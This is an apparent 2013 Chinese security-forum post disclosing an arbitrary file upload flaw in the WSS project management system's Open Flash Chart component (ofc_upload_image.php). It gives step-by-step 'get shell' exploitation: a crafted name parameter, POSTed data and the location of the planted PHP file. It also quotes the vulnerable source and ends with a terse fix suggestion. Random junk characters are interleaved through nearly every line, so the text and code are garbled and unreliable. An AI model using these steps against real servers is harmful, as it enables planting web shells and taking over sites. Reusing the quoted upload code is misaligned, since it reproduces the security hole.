找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2372|回复: 0
打印 上一主题 下一主题

WSS项目管理系统Post get shell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:38:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
POST 数据漏洞文件执行任意后缀文件保存
) z0 l8 n8 ?- p% Z- e$ X  `0 A 漏洞文件/chart/php-ofc-library/ofc_upload_image.php
- L, h  _) b* s" [1 W
, k0 `4 t. Z6 ^9 Z利用:5 ?3 p) [" v% q5 S) ^  b. p  q5 m2 C7 w
/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名7 s) c; r6 L( ]$ D+ W0 b, ?

$ z! Z8 Z6 G: hPost任意数据& @; L( w# a" Y% m2 L
保存位置http://localhost/chart/tmp-upload-images/hfy.php
3 A  o. r' I5 a' v5 W" l) f0 k2 o7 g6 P
' M8 c9 |, b$ i
最新版wss漏洞文件,即使是收费版本也有的,在新浪商店部署的demo~9 W/ v  N. b7 U+ K/ o5 c, H3 t
5 r: W5 ?( {( @. Z' T# X  o
<?php
. o' |* o$ k" L6 E+ A) V; U6 J; H6 @8 W. k9 k1 w
//2 |& q& ~" s3 f" H5 n4 Z
// In Open Flash Chart -> save_image debug mode, you/ f6 Y/ M5 ^( B) z, `+ d
// will see the 'echo' text in a new window.& J/ j5 Y. d" m* C9 z! S' t
/// Q0 d0 Y' [% V" U& x  c3 j
1 ^7 a' V  g; P
/*
# C" |- [7 {# p( n+ X" i. f+ s( n: i: V( M/ g5 @
print_r( $_GET );! D5 I: k4 A% p4 ]+ i
print_r( $_POST );: V: K9 T; h5 A# C9 ~
print_r( $_FILES );
/ N$ ]- _" D5 N6 ?) P, H, s3 j3 B* K- O- ]
print_r( $GLOBALS );6 P+ _; Q# ~% w8 F
print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );) E/ y+ R4 x$ k
  P# X5 U# D: L  G3 v: i: p
*/
2 O5 l. }6 O9 _. d( b// default path for the image to be stored //
! @2 R5 y7 J* {$ e$ D$ q/ C( d- V$default_path = '../tmp-upload-images/';
" |5 l0 y1 S0 }* l+ H3 {" T) J/ ^7 F, s1 b% _4 [2 P3 y5 p
if (!file_exists($default_path)) mkdir($default_path, 0777, true);
1 ~2 R6 z. ^1 S# M' z9 U6 j/ e+ T" L- @- [9 T1 C- w
// full path to the saved image including filename //
, p( I( P" S" j8 y/ l  g$destination = $default_path . basename( $_GET[ 'name' ] ); $ j5 I4 y# A. h- v+ Z  P# n5 E
/ C) j, j/ z( j3 r" i. N
echo 'Saving your image to: '. $destination;
2 o( Z7 U, ^) u: ]% Y& t; K// print_r( $_POST );
, Z# U0 C+ ~+ Q7 R7 l; k# F9 j3 d8 I// print_r( $_SERVER );- Z& {% M) W/ W$ t  z) x& V: T
// echo $HTTP_RAW_POST_DATA;
9 o% P; v) m  ~8 A) D, t; n8 E3 j' x4 |3 p& K5 j
//
3 n9 n! `1 q4 i, s. X$ @6 Q. z// POST data is usually string data, but we are passing a RAW .png! l# z0 p( u3 Y' |; [( \, n/ a
// so PHP is a bit confused and $_POST is empty. But it has saved
: @: \, N6 k- h  z. ^6 j// the raw bits into $HTTP_RAW_POST_DATA' M5 Z' K2 o6 r' T- M4 o
//
: Y3 z# e) Z" p* I$ i" Y( s/ i! t6 Q3 s
$jfh = fopen($destination, 'w') or die("can't open file");- ^" e0 C: O- l/ v3 t, ^4 V% \/ s$ }
fwrite($jfh, $HTTP_RAW_POST_DATA);/ H1 o) s4 R0 j  X+ M
fclose($jfh);; c7 K# b) [  [) C9 R% l% B- m' C
4 R$ R9 [0 S3 x: j# Z
//
6 P1 s& p+ `" q3 O// LOOK:. C0 D2 _# b! H* ^* {% i
//
+ m6 r3 r. j- Z( k) g# H& G7 Nexit();
* {; l' u  S' I" {//
6 Q* y' C& h8 c// PHP5:* \/ j7 s) V$ H: {& J. N1 Z+ v
//, R. Y2 K3 T( R- b; G; F  g
6 B! Z3 l7 [) Y  R, _

/ S" Y$ c4 z+ F* e7 c  T// default path for the image to be stored //; h! ~3 c9 E9 z& F$ m' t
$default_path = 'tmp-upload-images/';* q) I# J1 S: B8 M

3 i% V, H2 c  @: K) ]* pif (!file_exists($default_path)) mkdir($default_path, 0777, true);
0 N4 d3 b1 x. e1 `) C. T
/ i7 F* \5 U# P2 x6 V: F3 y0 q) ~// full path to the saved image including filename //
. \2 O- [5 e3 @- D, ?* n+ t$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );
2 i4 E( y: u  J- |
: C- T" t8 {7 J6 I// move the image into the specified directory //6 Q! Z* q4 l$ A
if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
9 l% b) m: O% J: [; O2 Z* N2 }+ i    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";; n, V  n* j2 l" f- j! f
} else {
# L3 w: R  o* }$ X* Q6 O+ X2 i; j    echo "FILE UPLOAD FAILED";
4 k% k" e# i! n' p! E8 n  m* |; O}
. e$ _1 w# j0 E8 c# w) R6 Q$ L) H% t9 n  t! }; r/ z

/ Z7 G0 \% X) i; Y2 t. n3 T?>% q) h4 _& \: B% d; y" \1 |
7 r$ W" A4 E0 ~7 @- J3 @+ m) {

4 p" a: c( Y3 j6 [' k8 M, Q2 o3 g0 h2 j+ x& H; h/ ~( b- `+ W

1 x+ W5 G8 z; m% n8 S; K
4 T+ l6 e/ ?1 `; ]" L0 k( E+ j, i5 V8 ~! T
修复方案:   ^3 _9 l4 B4 E0 p
这个漏洞文件就是个杯具,怎么破,加权限验证,后缀等验证~,自己搞
. E% l# X4 u0 }! a0 C* K+ \, @- Q# H1 Y+ }9 D# H
( d7 t! L2 H( \' N
9 F( z) m9 W6 P: N: G% N0 a

$ |' M' `- E4 Y

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表